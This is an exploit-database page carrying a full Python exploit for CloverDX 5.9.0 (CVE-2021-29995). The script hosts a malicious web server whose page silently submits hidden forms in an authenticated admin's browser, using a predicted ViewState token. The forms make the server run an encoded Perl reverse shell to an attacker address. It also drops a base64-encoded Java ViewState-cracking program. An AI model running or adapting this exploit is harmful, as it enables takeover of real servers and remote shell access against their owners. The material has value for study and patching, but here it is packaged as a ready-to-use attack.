Lucene search
K

CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF)

🗓️ 29 Jul 2021 00:00:00Reported by niebardzoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 438 Views

CloverDX 5.9.0 Cross-Site Request Forgery (CSRF) enables Remote Code Execution (RCE) via ViewStateCracker.jav

Related
Code
ReporterTitlePublishedViews
Family
0day.today
CloverDX 5.9.0 - Cross-Site Request Forgery to Remote Code Execution Exploit
29 Jul 202100:00
zdt
Circl
CVE-2021-29995
21 Sep 202104:42
circl
CNNVD
CloverDX Server Console 跨站请求伪造漏洞
9 Jun 202100:00
cnnvd
CVE
CVE-2021-29995
9 Jun 202114:23
cve
Cvelist
CVE-2021-29995
9 Jun 202114:23
cvelist
EUVD
EUVD-2021-16454
7 Oct 202500:30
euvd
NVD
CVE-2021-29995
9 Jun 202115:15
nvd
OSV
CVE-2021-29995
9 Jun 202115:15
osv
Packet Storm
CloverDX 5.9.0 Code Execution / Cross Site Request Forgery
29 Jul 202100:00
packetstorm
Prion
Cross site request forgery (csrf)
9 Jun 202115:15
prion
Rows per page
# Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE)
# Date: 14.04.2021
# Exploit Author: niebardzo
# Vendor Homepage: https://www.cloverdx.com/
# Software Link: https://github.com/cloverdx/cloverdx-server-docker
# Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x
# Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker
# CVE : CVE-2021-29995

# Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX
# Victim authenticated to CloverDX and the java to run the ViewStateCracker.java.
# Reference for cracking ViewState:
# https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html
# https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 
#


import http.server
import socketserver
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
from bs4 import BeautifulSoup
import subprocess
import sys
import json


class ExploitHandler(http.server.SimpleHTTPRequestHandler):
	def do_GET(self):
		self.send_response(200)
		self.send_header("Content-Type", "text/html; charset=utf-8")
		self.end_headers()
		
		# replace with your own target
		target = "http://localhost:8080"

		query_comp = parse_qs(urlparse(self.path).query)
		if "target" in query_comp:
			target = query_comp["target"][0]
		
		req = requests.get(target+"/clover/gui/login.jsf")

		if req.status_code != 200:
			sys.exit(-1)

		# parse the reponse retrieve the ViewState
		soup = BeautifulSoup(req.text, "html.parser")
		cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"]

		# Use the ViewstateCracker.java to get new Viewstate.
		new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state])
		new_view_state = new_view_state.decode("utf-8").strip()
		print(new_view_state)
		if new_view_state == "6927638971750518694:6717304323717288036":
			html = ("<!DOCTYPE html><html><head></head><body><h1>Hello Clover Admin!</h1><br>"
			+ "<script>window.setTimeout(function () { location.reload()}, 1500)</script></body></html>")
		else:
			html = ("<!DOCTYPE html><html><head>"
			+ "<script>"
			+ "function exec1(){document.getElementById('form1').submit(); setTimeout(exec2, 2000);}"
			+ "function exec2(){document.getElementById('form2').submit(); setTimeout(exec3, 2000);}"
			+ "function exec3(){document.getElementById('form3').submit(); setTimeout(exec4, 2000);}"
			+ "function exec4(){document.getElementById('form4').submit();}"
			+ "</script>"
			+ "</head><body onload='exec1();'><h1>Hello Clover Admin! Please wait here, content is loading...</h1>"
			+ "<script>history.pushState('','/');</script>"
			+ "<form target='if1' id='form1' method='GET' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target)
			+ "<input type='submit' value='' style='visibility: hidden;'></form> " 
			+ "<form target='if2' id='form2' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='headerForm&#58;manualListenerItem' name='javax.faces.source'>" 
			+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='allContent' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='headerForm&#58;manualListenerItem' name='headerForm&#58;manualListenerItem'>"
			+ "<input type='hidden' value='headerForm' name='headerForm'>"
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<form target='if3' id='form3' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.source'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskFormFragment' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='valueChange' name='javax.faces.behavior.event'>"
			+ "<input type='hidden' value='change' name='javax.faces.partial.event'>"
			+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>"
			+ "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>" 
			+ "<input type='hidden' value='on' name='manualListeneForm&#58;saveRunRecord_input'>"
			+ "<input type='hidden' value='true' name='manualListeneForm&#58;manualVariablesList_collapsed'>" 
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<form target='if4' id='form4' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='manualListeneForm:execute_button' name='javax.faces.source'>" 
			+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='rightContent' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='manualListeneForm:execute_button' name='manualListeneForm&#58;execute_button'>" 
			+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propName'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propValue'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;taskType_focus'>" 
			+ "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>"
			#
			# Below is the HTML encoded perl reverse, replace with your own payload, remember to HTML encode.
			# 
			+ "<input type='hidden' value='&#x70;&#x65;&#x72;&#x6c;&#x20;&#x2d;&#x65;&#x20;&#x27;&#x75;&#x73;&#x65;&#x20;&#x53;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x3b;&#x24;&#x69;&#x3d;"&#x31;&#x39;&#x32;&#x2e;&#x31;&#x36;&#x38;&#x2e;&#x36;&#x35;&#x2e;&#x32;"&#x3b;&#x24;&#x70;&#x3d;&#x34;&#x34;&#x34;&#x34;&#x3b;&#x73;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x28;&#x53;&#x2c;&#x50;&#x46;&#x5f;&#x49;&#x4e;&#x45;&#x54;&#x2c;&#x53;&#x4f;&#x43;&#x4b;&#x5f;&#x53;&#x54;&#x52;&#x45;&#x41;&#x4d;&#x2c;&#x67;&#x65;&#x74;&#x70;&#x72;&#x6f;&#x74;&#x6f;&#x62;&#x79;&#x6e;&#x61;&#x6d;&#x65;&#x28;"&#x74;&#x63;&#x70;"&#x29;&#x29;&#x3b;&#x69;&#x66;&#x28;&#x63;&#x6f;&#x6e;&#x6e;&#x65;&#x63;&#x74;&#x28;&#x53;&#x2c;&#x73;&#x6f;&#x63;&#x6b;&#x61;&#x64;&#x64;&#x72;&#x5f;&#x69;&#x6e;&#x28;&#x24;&#x70;&#x2c;&#x69;&#x6e;&#x65;&#x74;&#x5f;&#x61;&#x74;&#x6f;&#x6e;&#x28;&#x24;&#x69;&#x29;&#x29;&#x29;&#x29;&#x7b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x49;&#x4e;&#x2c;">&&#x53;"&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x4f;&#x55;&#x54;&#x2c;">&&#x53;"&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x45;&#x52;&#x52;&#x2c;">&&#x53;"&#x29;&#x3b;&#x65;&#x78;&#x65;&#x63;&#x28;"&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x73;&#x68;&#x20;&#x2d;&#x69;"&#x29;&#x3b;&#x7d;&#x3b;&#x27;' name='manualListeneForm&#58;shellEditor'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;workingDirectory'>" 
			+ "<input type='hidden' value='10000' name='manualListeneForm&#58;timeout'>" 
			+ "<input type='hidden' value='true' name='manualListeneForm&#58;scriptVariablesList_collapsed'>" 
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<iframe name='if1' style='display: hidden;' width='0' height='0' frameborder='0' ></iframe>"
			+ "<iframe name='if2' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "<iframe name='if3' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "<iframe name='if4' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "</body></html>")

		self.wfile.write(bytes(html,"utf-8"))


base64_enc_viewstatecracker = "CnB1YmxpYyBjbGFzcyBWaWV3c3RhdGVDcmFja2VyIHsKICAvKiBTVEFSVCBQQVJUIDEgKi8KICBwdWJsaWMgc3RhdGljIGZpbmFsIGludCBvZmZzZXQgICAgID0gMzI7CiAgcHVibGljIHN0YXRpYyBmaW5hbCBpbnQgaXRlcmF0aW9ucyA9IDY1NTM2OwoKICBwdWJsaWMgc3RhdGljIGZpbmFsIFN0cmluZyBnZW5lcmF0ZU5ld1ZpZXdzdGF0ZShmaW5hbCBsb25nIGlkSW5Mb2dpY2FsTWFwLCBmaW5hbCBsb25nIGlkSW5BY3R1YWxNYXApIHsKICAgIGZpbmFsIGxvbmcgZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwICA9IGlkSW5Mb2dpY2FsTWFwID4+PiBvZmZzZXQ7CiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXAgPSAoKGlkSW5Mb2dpY2FsTWFwIDw8IG9mZnNldCkgPj4+IG9mZnNldCk7CiAgICBmaW5hbCBsb25nIGZpcnN0MzJCaXRzT2ZJZEluQWN0dWFsTWFwICAgPSBpZEluQWN0dWFsTWFwID4+PiBvZmZzZXQ7ICAgICAgICAgLy8gVmVyaWZpY2F0aW9uCiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkFjdHVhbE1hcCAgPSAoKGlkSW5BY3R1YWxNYXAgPDwgb2Zmc2V0KSA+Pj4gb2Zmc2V0KTsgLy8gVmVyaWZpY2F0aW9uCiAgICAvKiBFTkQgUEFSVCAxICovCgogICAgLyogU1RBUlQgUEFSVCAyICovCiAgICBsb25nIHRoZV9zZWVkID0gMUw7CgogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpdGVyYXRpb25zOyBpKyspIHsKICAgICAgbG9uZyB0bXBfc2VlZCA9ICgoZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwIDw8IDE2KSArIGkpOwogICAgICBpZiAoKChpbnQpKCgodG1wX3NlZWQgKiAweDVERUVDRTY2REwgKyAweEJsKSAmICgoMUwgPDwgNDgpIC0gMSkpID4+PiAxNikpID09IHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXApIHsKICAgICAgICAvL1N5c3RlbS5vdXQucHJpbnRsbigiU2VlZCBmb3VuZDogIiArIHRtcF9zZWVkKTsKICAgICAgICB0aGVfc2VlZCA9IHRtcF9zZWVkOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgICAvKiBFTkQgUEFSVCAyICovCgogICAgLyogU1RBUlQgUEFSVCAzICovCiAgICAvLyBHZW5lcmF0ZSBudW1iZXIgMiAoU2Vjb25kIE51bWJlciBvZiBpZEluTG9naWNhbE1hcCkKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwoKICAgIC8vQ2FsY3VsYXRlIHRoZSB2YWx1ZSBvZiBpZEluQWN0dWFsTWFwCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgLyogRU5EIFBBUlQgMyovCgogICAgLyogU1RBUlQgUEFSVCA0Ki8KICAgIC8qIENhbGN1bGF0ZSBhIG5ldyBpZEluTG9naWNhbE1hcCAqLwoKICAgIC8vIEdlbmVyYXRlIHRoZSBmaXJzdCBoYWxmIG9mIHRoZSBmaXJzdCBMb25nCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIGludCBudW1iZXJfNSA9ICgoaW50KSh0aGVfc2VlZCA+Pj4gMTYpKTsKCiAgICAvLyBHZW5lcmF0ZSB0aGUgc2Vjb25kIGhhbGYgb2YgdGhlIGZpcnN0IExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl82ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vSGVyZSBpcyB0aGUgbmV3IGlkSW5Mb2dpY2FsTWFwCiAgICBsb25nIG5ld19sb25nXzEgPSAoKChsb25nKW51bWJlcl81IDw8IDMyKSArIG51bWJlcl82KTsKCgogICAgLyogQ2FsY3VsYXRlIGEgbmV3IGlkSW5BY3R1YWxNYXAgKi8KCiAgICAvLyBHZW5lcmF0ZSB0aGUgZmlyc3QgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl83ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vIEdlbmVyYXRlIHRoZSBzZWNvbmQgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl84ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vCiAgICBsb25nIG5ld19sb25nXzIgPSAoKChsb25nKW51bWJlcl83IDw8IDMyKSArIG51bWJlcl84KTsKCiAgICByZXR1cm4gbmV3X2xvbmdfMSArICI6IiArIG5ld19sb25nXzI7CiAgICAvKkVORCBQQVJUNCovCiAgfQogcHVibGljIHN0YXRpYyB2b2lkIG1haW4gKFN0cmluZyBhcmdzW10pIHsKCVN0cmluZyB0b2tlbiA9IGFyZ3NbMF07CglTdHJpbmdbXSBsb25ncyA9IHRva2VuLnNwbGl0KCI6Iik7Cglsb25nIGxvbmcxID0gTG9uZy5wYXJzZUxvbmcobG9uZ3NbMF0pOwoJbG9uZyBsb25nMiA9IExvbmcucGFyc2VMb25nKGxvbmdzWzFdKTsKCVN0cmluZyBuZXdUb2tlbiA9IGdlbmVyYXRlTmV3Vmlld3N0YXRlKGxvbmcxLGxvbmcyKTsKCVN5c3RlbS5vdXQucHJpbnRsbihuZXdUb2tlbik7Cgp9Cgp9Cg=="

#
# This drops ViewstateCracker.java from above, ref: https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2
#

with open("ViewstateCracker.java","w") as f:
    f.write(b64decode(bytes(base64_enc_viewstatecracker, 'utf-8')).decode('utf-8'))


exploit_handler = ExploitHandler

PORT = 6010

exploit_server = socketserver.TCPServer(("", PORT), exploit_handler)

exploit_server.serve_forever()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2021 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 26.8
CVSS 3.18.8
EPSS0.01725
438